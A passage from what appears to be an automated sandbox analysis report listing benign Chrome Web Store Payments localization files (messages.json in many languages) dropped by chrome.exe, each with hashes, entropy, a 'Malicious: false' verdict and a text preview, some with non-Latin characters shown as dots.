"craw_app_unavailable": {..      "message": "Aplikace v sou.asn. dob. nen. dostupn.."..   },..   "craw_connect_to_network": {..      "message": "P.ipojte se pros.m k s.ti."..   
},..   "iap_unavailable": {..      "message": "Platby v aplikaci aktu.ln. nejsou k dispozici."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be 
completed."..   },..   "please_sign_in": {..      "message": "P.ihlaste se do Chromu."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 624

Entropy (8bit): 4.5289746475384565

Encrypted: false

SSDEEP: 12:1HEJJMKKFZGGJMKKFZ+WYpU34OHu+dgxlCZO8ZpU34J4Wu03OyZnLAOfTYzD:1HErMKfqMKVWYpM6lL8ZpDNOGAOfiD

MD5: 238B97A36E411E42FF37CEFAF2927ED1

SHA1: 4E47AC90BA24C8F4724D9293FA40CFD4ADA66FE0

SHA-256: 4977D4A053542FF66967FAED6B06585DD70E68E20BFEB533B66FE3287F9655D9

SHA-512: FD0742D47B5F5AB9AAD9B4C3D57F63CB693E060EECE123A72036C6E92156D099495C7E9E9CC6DC83EEBCDDCC4B4C81FB47E4C9559DA3EBA024780FFF10C53
E0A

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Betalinger i Chrome Webshop"..   },..   "app_name": {..      "message": "Betalinger i Chrome Webshop"..   },..   "craw_app_u
navailable": {..      "message": "Appen er ikke tilg.ngelig i .jeblikket."..   },..   "craw_connect_to_network": {..      "message": "Opret forbindelse til et netv.rk."..   },..   
"iap_unavailable": {..      "message": "Betaling i appen er ikke tilg.ngelig i .jeblikket."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be comp
leted."..   },..   "please_sign_in": {..      "message": "Log ind p. Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 651

Entropy (8bit): 4.583694000020627

Encrypted: false

SSDEEP: 12:1HEJQ1ZGGQ1Z+WYpU34pCEMT+dgJMlCTO8ZpU34p6FK603OyZnLAOfTYJ6K:1HEzWWYp3Bewv8Zp7k4OGAOfQj

MD5: 6B3E916E8C1991AA0453CBA00FEDCAAA

SHA1: D6366D15912E40CA107FD42BFE9579C3336A51F9

SHA-256: A62FFAB910E31531758EEE48B2CC71A8857BEC3021DEAD50B668CBA3C8667053

SHA-512: 87EA4311B61F29543B13F3E17DFA919D0C320B4FE370CC152E0B1514BCA79B0ABB526DDCF08621D6EBFA48923EE8FB4C667EFB120A72BD9583EEBEE7BFB80
552

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Web Store-Zahlungen"..   },..   "app_name": {..      "message": "Chrome Web Store-Zahlungen"..   },..   "craw_app_una
vailable": {..      "message": "Die App ist momentan nicht verf.gbar."..   },..   "craw_connect_to_network": {..      "message": "Bitte stellen Sie eine Verbindung zu einem 
Netzwerk her."..   },..   "iap_unavailable": {..      "message": "In-App-Zahlungen sind momentan nicht m.glich."..   },..   "jwt_retrieve_failed": {..      "message": "The trans
action could not be completed."..   },..   "please_sign_in": {..      "message": "Bitte melden Sie sich in Chrome an."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 787

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\da\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\de\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\el\messages.json
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Entropy (8bit): 4.973349962793468

Encrypted: false

SSDEEP: 24:1HEw+aZ+6WYpbWZe80A08ZpCGyDVWlOGAOf+XD:WguYpCZnpEZbGoD

MD5: 05C437A322C1148B5F78B2F341339147

SHA1: AB53003A678E44A170E73711FBD9949833BBF3AA

SHA-256: A052C32B4FCAC61152EB0ADB2C260FB6A8256AD104AA0013DB93E9798D41A070

SHA-512: C36CB9202A34356DD06D377E2A088F428D0B8EBE7D2E54F8380485E9D94A0598D7F651C1E7A2FD55BE481D49C02B0812F2BA335E08611EC85EE0BD60784A6B4
0

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "........ ... Chrome Web Store"..   },..   "app_name": {..      "message": "........ ... Chrome Web Store"..   },..   "craw_app_unavail
able": {..      "message": ". ........ .... .. ..... ... ..... .........."..   },..   "craw_connect_to_network": {..      "message": ".......... .. ... ......."..   },..   "iap_unavailable": {..      
"message": ".. ........ ..... ......... ... ..... ..... .. ...... ..........."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": 
{..      "message": ".......... ... Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 593

Entropy (8bit): 4.483686991119526

Encrypted: false

SSDEEP: 12:1HEJ6GG6+WYpU34OuFpR+dgGfFZO8ZpU34aEGFpR03OyZnLAOfTYdD:1HEVSWYpVp0JS8Zp5KpaOGAOfuD

MD5: 91F5BC87FD478A007EC68C4E8ADF11AC

SHA1: D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6

SHA-256: 92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3D9C9

SHA-512: FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EE0BD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BF98A65
FFD9

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Web Store Payments"..   },..   "app_name": {..      "message": "Chrome Web Store Payments"..   },..   "craw_app_unava
ilable": {..      "message": "App currently unavailable."..   },..   "craw_connect_to_network": {..      "message": "Please connect to a network."..   },..   "iap_unavailable": {..      
"message": "In-App Payments is currently unavailable."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": 
{..      "message": "Please sign into Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 593

Entropy (8bit): 4.483686991119526

Encrypted: false

SSDEEP: 12:1HEJ6GG6+WYpU34OuFpR+dgGfFZO8ZpU34aEGFpR03OyZnLAOfTYdD:1HEVSWYpVp0JS8Zp5KpaOGAOfuD

MD5: 91F5BC87FD478A007EC68C4E8ADF11AC

SHA1: D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6

SHA-256: 92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3D9C9

SHA-512: FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EE0BD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BF98A65
FFD9

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Web Store Payments"..   },..   "app_name": {..      "message": "Chrome Web Store Payments"..   },..   "craw_app_unava
ilable": {..      "message": "App currently unavailable."..   },..   "craw_connect_to_network": {..      "message": "Please connect to a network."..   },..   "iap_unavailable": {..      
"message": "In-App Payments is currently unavailable."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": 
{..      "message": "Please sign into Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 661

Entropy (8bit): 4.450938335136508

Encrypted: false

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\en\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\en_GB\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\es\messages.json
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SSDEEP: 12:1HEJHlbGGHlb+WYpU34ubdDH+dgxbFxTO8ZpU34lPbdlVo03OyZnLAOfTY6xjD:1HEvaC6WYpcDeEFxq8ZpNl5OGAOffD

MD5: 82719BD3999AD66193A9B0BB525F97CD

SHA1: 41194D511F1ACC16C1CA828AC81C18C8C6B47287

SHA-256: 4DB9B2721E625C18B9E05C04B31AF5D9694712F1CAAF6219ABE34BB08E5DB1C7

SHA-512: D4C49B43427799B6292CEED11CACB1D76F7CE43EBF402B43B638A6EB2B414ED0981E386CB8CDF0B51D1BD9552934FE25B2F6392266BB73D8C9A691F65BCE01
28

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Sistema de pagos de Chrome Web Store"..   },..   "app_name": {..      "message": "Sistema de pagos de Chrome Web Store"..   
},..   "craw_app_unavailable": {..      "message": "Esta aplicaci.n no est. disponible en este momento."..   },..   "craw_connect_to_network": {..      "message": "Con.ctate a 
una red."..   },..   "iap_unavailable": {..      "message": "Los pagos en la aplicaci.n no est.n disponibles en este momento."..   },..   "jwt_retrieve_failed": {..      "message": 
"The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Inicia sesi.n en Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 637

Entropy (8bit): 4.47253983486615

Encrypted: false

SSDEEP: 12:1HEJHlbGGHlb+WYpU34ubdDH+dgxbFxTO8ZpU34GLO03OyZnLAOfTYiJD:1HEvaC6WYpcDeEFxq8Zp4LlOGAOfvD

MD5: 6B2583D8D1C147E36A69A88009CBEBC7

SHA1: 4D4DEEB4BE6AA0181825F3371A761ABC5B4D5937

SHA-256: 6659BC3705311D7641A73995DCFEA80C7734F2F4EBBC3787B3892A240348324F

SHA-512: 37F0DBFCC1B5A2B8E4C92C49D2D9DEEF25616421350324F57E0149A45A6CCB437F5E3CBE97412C4B5DBBF2593783C7DF71E9C25A851AEAE6E4764C545723FA
53

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Sistema de pagos de Chrome Web Store"..   },..   "app_name": {..      "message": "Sistema de pagos de Chrome Web Store"..   
},..   "craw_app_unavailable": {..      "message": "Esta aplicaci.n no est. disponible en este momento."..   },..   "craw_connect_to_network": {..      "message": "Con.ctate a 
una red."..   },..   "iap_unavailable": {..      "message": "En este momento, Pagos En-Apps no est. disponible."..   },..   "jwt_retrieve_failed": {..      "message": "The tr
ansaction could not be completed."..   },..   "please_sign_in": {..      "message": "Accede a Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 595

Entropy (8bit): 4.467205425399467

Encrypted: false

SSDEEP: 12:1HEJfPGGGfPG+WYpU34Ze7z+dgrW9O8ZpU34ZwZz03OyZnLAOfTYgoLIR:1HEdvqlWYpTeObk8ZpT/OGAOfuLIR

MD5: CFF6CB76EC724B17C1BC920726CB35A7

SHA1: 14ED068251D65A840F00C05409D705259D329FFC

SHA-256: C85800BF45942FCC7FD6B1DF929C25F9CC2A977A6678966BD03D4B6B69889AFD

SHA-512: 53D7D01BB30C0306DE65A79FD9551D2E8C1F71F4F45F71906B009071CB3E0F231E6A50FDD78773E9B4DE94085BC7B97F829842FA21A89A2080D33458B745C46F

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome'i veebipoe maksed"..   },..   "app_name": {..      "message": "Chrome'i veebipoe maksed"..   },..   "craw_app_unavail
able": {..      "message": "Rakendus pole praegu saadaval."..   },..   "craw_connect_to_network": {..      "message": "Looge .hendus v.rguga."..   },..   "iap_unavailable": {..    
  "message": "Rakendusesisesed maksed ei ole praegu saadaval."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   
"please_sign_in": {..      "message": "Logige Chrome'i sisse."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 647

Entropy (8bit): 4.595421267152647

Encrypted: false

SSDEEP: 12:1HEJRuzGGRuz+WYpU34ujSBu+dgYO8ZpU34J+Bu03OyZnLAOfTY5HN:1HEFcWYpPNa8ZpD+FOGAOfEHN

MD5: 3A01FEE829445C482D1721FF63153D16

SHA1: F3EAAADDC03F943FC88B30B67F534AA13E3336DD

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\es_419\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\et\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\fi\messages.json
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SHA-256: 0BDE54B20845124113383B6EB81E43A0F05E4EB0C44BEE3C1DFAC4CC5FEC2836

SHA-512: 3B92B6C86D30FD36AA3CEFF8773BA60C3FC5CC19C693540137044C5838A5503895C770C0336A4D0A3DB5E42F3FB36274D8D3F85B9DCA2F3EC0E974FDDB0BEA
D8

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Web Storen maksut"..   },..   "app_name": {..      "message": "Chrome Web Storen maksut"..   },..   "craw_app_unavail
able": {..      "message": "Sovellus ei ole t.ll. hetkell. k.ytett.viss.."..   },..   "craw_connect_to_network": {..      "message": "Muodosta verkkoyhteys."..   },..   "iap_unavai
lable": {..      "message": "Sovelluksen sis.iset maksut eiv.t ole t.ll. hetkell. k.ytett.viss.."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be 
completed."..   },..   "please_sign_in": {..      "message": "Kirjaudu sis..n Chromeen."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 658

Entropy (8bit): 4.5231229502550745

Encrypted: false

SSDEEP: 12:1HEJADlbGGADlb+WYpU34hTUT+dgHfZAFFZO8ZpU34hTjzeT03OyZnLAOfTYHfvF:1HEYah6WYp7TUSoxOS8Zp7TOsOGAOfqV

MD5: 57AF5B654270A945BDA8053A83353A06

SHA1: EEEF7A4F869F97CF471A05D345E74F982D15E167

SHA-256: EC002ED92359F67818B49455DFC579E140368E6A004080AF022FD4F57F6B03F2

SHA-512: 5F0AE839FCF3F4EA48FF41A76655AE0F3821564AFD5D42FBB9FBB9A38E8D8F7BB5E9B6F71064588CD441261F644095A44A755C134CE546D506D9A21E488BAF5
2

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Mga Pagbabayad sa Chrome Web Store"..   },..   "app_name": {..      "message": "Mga Pagbabayad sa Chrome Web Store"..   
},..   "craw_app_unavailable": {..      "message": "Kasalukuyang hindi available ang app."..   },..   "craw_connect_to_network": {..      "message": "Mangyaring kumonekta 
sa isang network."..   },..   "iap_unavailable": {..      "message": "Kasalukuyang hindi available ang Mga Pagbabayad na In-App."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Mangyaring mag-sign in sa Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 677

Entropy (8bit): 4.552569602149629

Encrypted: false

SSDEEP: 12:1HEJALf/nbGGALf/nb+WYpU34Owdgbyb+dgdQjO8ZpU34ITQpGnbyb03OyZnLAO8:1HE4Hna1Hn6WYpNdgpY8ZpSTQwnBOGAh

MD5: 8D11C90F44A6585B57B933AB38D1FFF8

SHA1: 3F9D44EA8807069A32AACA2AAAD02FD892E6CC90

SHA-256: 599491F8C52B945C16C441ADF45BFD45AFAE046DA07757D97C56AF4DE75ED3B5

SHA-512: D7EF7F5AD7EF1A1595825D79B69E2B1E988AD3CF1F3881496FCCD30F241E4E9C6E457F9F5D0F855DE3536DB7A40C3E1C55946B50D3F556F4A35285066A0CD6F
7

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Paiements via le Chrome.Web.Store"..   },..   "app_name": {..      "message": "Paiements via le Chrome.Web.Store"..   },..   
"craw_app_unavailable": {..      "message": "Application indisponible pour le moment."..   },..   "craw_connect_to_network": {..      "message": "Veuillez vous connecter . un 
r.seau."..   },..   "iap_unavailable": {..      "message": "Les paiements via l'application ne sont pas disponibles pour le moment."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Veuillez vous connecter . Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 835

Entropy (8bit): 4.791154467711985

Encrypted: false

SSDEEP: 24:1HEs07J0JWYp9vnCSVLP8Zp6CsOGAOf8SLm:Wh7qgYp1CMLUph1GiSLm

MD5: E376D757C8FD66AC70A7D2D49760B94E

SHA1: 1525C5B1312D409604F097768503298EC440CC4D

SHA-256: 8106D98C4F8DA16DB698444409558E29CC96735E188BFA303C333A5D99231C1D

SHA-512: 673F3F259AF2946E4F49BBED14A2A70D44BF9FDA9D7A71DC9172BA9B7B3C7F7062B16D29682B638D485B0520ED6F99E7A735F28C7C719B539559005B69FA7555

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\fil\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\fr\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\hi\messages.json
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Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome ... ..... ......"..   },..   "app_name": {..      "message": "Chrome ... ..... ......"..   },..   "craw_app_unavailable": {..      "messa
ge": "......... .. ... ...... .... ..."..   },..   "craw_connect_to_network": {..      "message": "..... ....... .. ...... ....."..   },..   "iap_unavailable": {..      "message": "..-.. ...... ... ...... .... ..."..   
},..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "..... Chrome ... .... .. ....."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 618

Entropy (8bit): 4.56999230891419

Encrypted: false

SSDEEP: 12:1HEJGiimxmbZGGGiimxmbZ+WYpU34OBOEuhopIO+dgcapZO8ZpU34GiiZrMrQphK:1HE4H4TH8WYpNjTta28ZpQVLP0SOGAOK

MD5: 8185D0490C86363602A137F9A261CC50

SHA1: 5BD933B874441CEACB9201CCC941FF67BAED6DC0

SHA-256: A2B2EC359A9DD9DCCCE02859CE1E738BD30FAA4A05F1DC522893FFDF722BBC15

SHA-512: D7629978FC031EA5F716F9C1065FB2FEAB48C15F10CD68830DC966FA1002C03DDC7ACDE314C7D075F9F3A0A68552A6ACBCCDEE24CF20B6C3DD1BCE6562D03
96E

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Pla.anja u web-trgovini Chrome"..   },..   "app_name": {..      "message": "Pla.anja u web-trgovini Chrome"..   },..   "craw
_app_unavailable": {..      "message": "Aplikacija trenuta.no nije dostupna."..   },..   "craw_connect_to_network": {..      "message": "Pove.ite se s mre.om."..   },..   
"iap_unavailable": {..      "message": "Pla.anje u aplikaciji trenuta.no nije dostupno."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be comple
ted."..   },..   "please_sign_in": {..      "message": "Prijavite se na Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 683

Entropy (8bit): 4.675370843321512

Encrypted: false

SSDEEP: 12:1HEJVJiGGVJi+WYpU34Hpo9O+dgMmfgijO8ZpU34Huo9O03OyZnLAOfTYBIAYm:1HEVrk5WYpQzTUg/8ZpwoXOGAOfYIAd

MD5: 85609CF8623582A8376C206556ED2131

SHA1: 1E16EB70DB5E59BB684866FF3E3925C2DEF25A12

SHA-256: 32A249749F12ADB6A220BF9ADC272C7E5D9AD5497A38B0086D961E3ABA17FBC6

SHA-512: 27883430865D3CFA6EDFE8C6CE1442BD96150B5CE520CCF7D556A330CAA6392C712B47BD86F7350E174876BC681F6DEC94D1312402655B0AF90883A2899EC78B

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Internetes .ruh.z Fizet.si rendszere"..   },..   "app_name": {..      "message": "Chrome Internetes .ruh.z Fizet.si r
endszere"..   },..   "craw_app_unavailable": {..      "message": "Az alkalmaz.s jelenleg nem .rhet. el."..   },..   "craw_connect_to_network": {..      "message": "K.rj.k, csatlako
zzon egy h.l.zathoz."..   },..   "iap_unavailable": {..      "message": "Az alkalmaz.son bel.li fizet.s jelenleg nem .rhet. el."..   },..   "jwt_retrieve_failed": {..      "message": "The 
transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Jelentkezzen be a Chrome-ba."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 604

Entropy (8bit): 4.465685261172395

Encrypted: false

SSDEEP: 12:1HEJs25bGGs25b+WYpU34ORBHAeSJ+dgkmO8ZpU34s22C/SzFAs03OyZnLAOfTYR:1HEBaA6WYpaHFH8ZptOYOGAOf2D

MD5: EAB2B946D1232AB98137E760954003AA

SHA1: 60BDC2937905B311D2C9844DF2D639D7AC9F7F67

SHA-256: C6E8800450602DE0F39FE9F6854472383813FB454B08ABAE7E25A9167CE004C3

SHA-512: 970FEC9A9EF0BAF7F693C4C5977F3B47914579C5B5414FCE9DBB5E4574659A5BB9AD2DE0CC886B368F49C019785AF7D2D7FE82F71341F039EADC399ED776CA
12

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\hr\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\hu\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\id\messages.json
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Preview: {..   "app_description": {..      "message": "Pembayaran Chrome Webstore"..   },..   "app_name": {..      "message": "Pembayaran Chrome Webstore"..   },..   "cr
aw_app_unavailable": {..      "message": "Aplikasi tidak tersedia saat ini."..   },..   "craw_connect_to_network": {..      "message": "Sambungkan ke jaringan."..   },..   
"iap_unavailable": {..      "message": "Pembayaran Dalam Aplikasi saat ini tidak tersedia."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be co
mpleted."..   },..   "please_sign_in": {..      "message": "Harap masuk ke Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 603

Entropy (8bit): 4.479418964635223

Encrypted: false

SSDEEP: 12:1HEJsqd/bGGsqd/b+WYpU34OcX4+dgUvIO8ZpU34vq703OyZnLAOfTYsD:1HEXd/aKd/6WYpZrv58ZpskOGAOfzD

MD5: A328EEF5E841E0C72D3CD7366899C5C8

SHA1: 2851ED658385804E87911643F5A4200B1FB26E13

SHA-256: CD891C45F7586FB4A2514205A11F260E4A6D4482FA03D901909DD9F57BE0536D

SHA-512: E47297896E981774EC3B59D41B89D6BA9333F6B4435EB9727D8645A46B10C7D408ADE06844871FA757382FBE7E645276449DB7B1B23BC59C9A71A5CB5A5ECC57

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Pagamenti Chrome Web Store"..   },..   "app_name": {..      "message": "Pagamenti Chrome Web Store"..   },..   "craw_app_una
vailable": {..      "message": "App al momento non disponibile."..   },..   "craw_connect_to_network": {..      "message": "Collegati a una rete."..   },..   "iap_unavailable": {..      
"message": "La funzione Pagamenti In-App non . al momento disponibile."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   
"please_sign_in": {..      "message": "Accedi a Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 697

Entropy (8bit): 5.20469020877498

Encrypted: false

SSDEEP: 12:1HEJ07uGG07u+WYpU34DB+dgnsVztO8ZpU34MwiB03OyZnLAOfTYmSH:1HEcnDNWYp1kxU8Zp2wiqOGAOfpSH

MD5: 9B3A5D473C3F2BBFAEECE94A07A940B8

SHA1: 61BACA342CF766BBA15C7B4D892A0E7DAC9405AA

SHA-256: 706312A4A2AEF3317223F141EB2B82685345B7EED444F16BB4DF3A272716DA1F

SHA-512: 94F6FEE9A11BD890AB8211C98D1CC142348961EBCF756F66477A3E3A76519804B70BE0AE4E551739F8AFE32D7ADE6EDE04EF6B9B9EED03E3A857E6058EEDD4
C6

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome ........"..   },..   "app_name": {..      "message": "Chrome ........"..   },..   "craw_app_unavailable": {..      "message": "..........
......."..   },..   "craw_connect_to_network": {..      "message": "................"..   },..   "iap_unavailable": {..      "message": "......................."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Chrome ............"..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 631

Entropy (8bit): 5.160315577642469

Encrypted: false

SSDEEP: 12:1HEJ1GG1+WYpU34K3aT+dgh8d0HTO8ZpU34KaNkaT03OyZnLAOfTY/YeHx:1HEajWYpc3aSl0Hq8Zpc6kasOGAOfyYA

MD5: 9F6B4D82A70C74CA751E2EAE70FAB5CF

SHA1: 0534F125FFCE8222277CF2BE3401C59DAF9217F8

SHA-256: D1467B8D037114403E8F4EFC52E88C4A7FEB96126BE4CFF883FEFF1084EF7E68

SHA-512: ED9319830314385D09C06F62EE34186E8CA576C857981205E4468A28B3ACD2AB03384E77B866032C324ABDD97A56EFD08E2D6E0C79D563578B3EC52517819BD8

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome . ... .."..   },..   "app_name": {..      "message": "Chrome . ... .."..   },..   "craw_app_unavailable": {..      "message": ".. .. ... . 
....."..   },..   "craw_connect_to_network": {..      "message": "..... ......"..   },..   "iap_unavailable": {..      "message": ".. .. ... ... . ....."..   },..   "jwt_retrieve_failed": {..      "
message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Chrome. ......."..   }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\it\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\ja\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\ko\messages.json
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 665

Entropy (8bit): 4.66839186029557

Encrypted: false

SSDEEP: 12:1HEJpqHnkGGpqHnk+WYpU346M+dgV6O8ZpU34WzSWz03OyZnLAOfTYx:1HELqHtKqHPWYpM3A8ZpwGzOGAOfg

MD5: 4CA644F875606986A9898D04BDAE3EA5

SHA1: 722A10569E93975129D67FBDB75B537D9D622AD1

SHA-256: 7C311AB751D840D750C11553C083785813E079C1D464FE568A98C9E3EF3DB96C

SHA-512: E575E3D0622F5BD4B6C0EE79128A1B1F1882195670139D1983F4377D847141B8FB8EBB8BCED82AF3A220ED07D3577AFBE085BADC0E9C7678292B80E3EC5D344
4

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": ".Chrome. internetin.s parduotuv.s mok.jimo sistema"..   },..   "app_name": {..      "message": ".Chrome. internetin.s parduotuv.s 
mok.jimo sistema"..   },..   "craw_app_unavailable": {..      "message": "Programa .iuo metu negalima."..   },..   "craw_connect_to_network": {..      "message": "Prisijunkite 
prie tinklo."..   },..   "iap_unavailable": {..      "message": "Mok.jimai programoje .iuo metu negalimi."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could 
not be completed."..   },..   "please_sign_in": {..      "message": "Prisijunkite prie .Chrome.."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 671

Entropy (8bit): 4.631774066483956

Encrypted: false

SSDEEP: 12:1HEJFhVbGGFhVb+WYpU34wDoz+dgGedBO8ZpU34wF03OyZnLAOfTYGYID:1HENQKkWYp2Doy/em8Zp2WOGAOfRYID

MD5: C5CE2C51391EAFD3DA9E4C71549A3C28

SHA1: 1F67FF6EF6E90C0CE3AAF56ED543A3EFD381574D

SHA-256: 1FA1DF2CA8516DEF490FB8484E9AA498ACFF80EEF5C9258FFE42D3678E6C7DED

SHA-512: C85F6281E682F52BC2147DEA7E2F3BB4DC48D98BADA8687B05C6C7271C78EA7F5431CD51671A4184C9AE004FC53C016E3C594697F483195CCBA08A93821EEF7
0

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome interneta veikala maks.jumu sist.ma"..   },..   "app_name": {..      "message": "Chrome interneta veikala maks.jumu s
ist.ma"..   },..   "craw_app_unavailable": {..      "message": "Lietotne pagaid.m nav pieejama."..   },..   "craw_connect_to_network": {..      "message": "L.dzu, izveidojiet 
savienojumu ar t.klu."..   },..   "iap_unavailable": {..      "message": "Maks.jumi lietotn.s pa.laik nav pieejami."..   },..   "jwt_retrieve_failed": {..      "message": "The transacti
on could not be completed."..   },..   "please_sign_in": {..      "message": "L.dzu, pierakstieties p.rl.k. Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 624

Entropy (8bit): 4.555032032637389

Encrypted: false

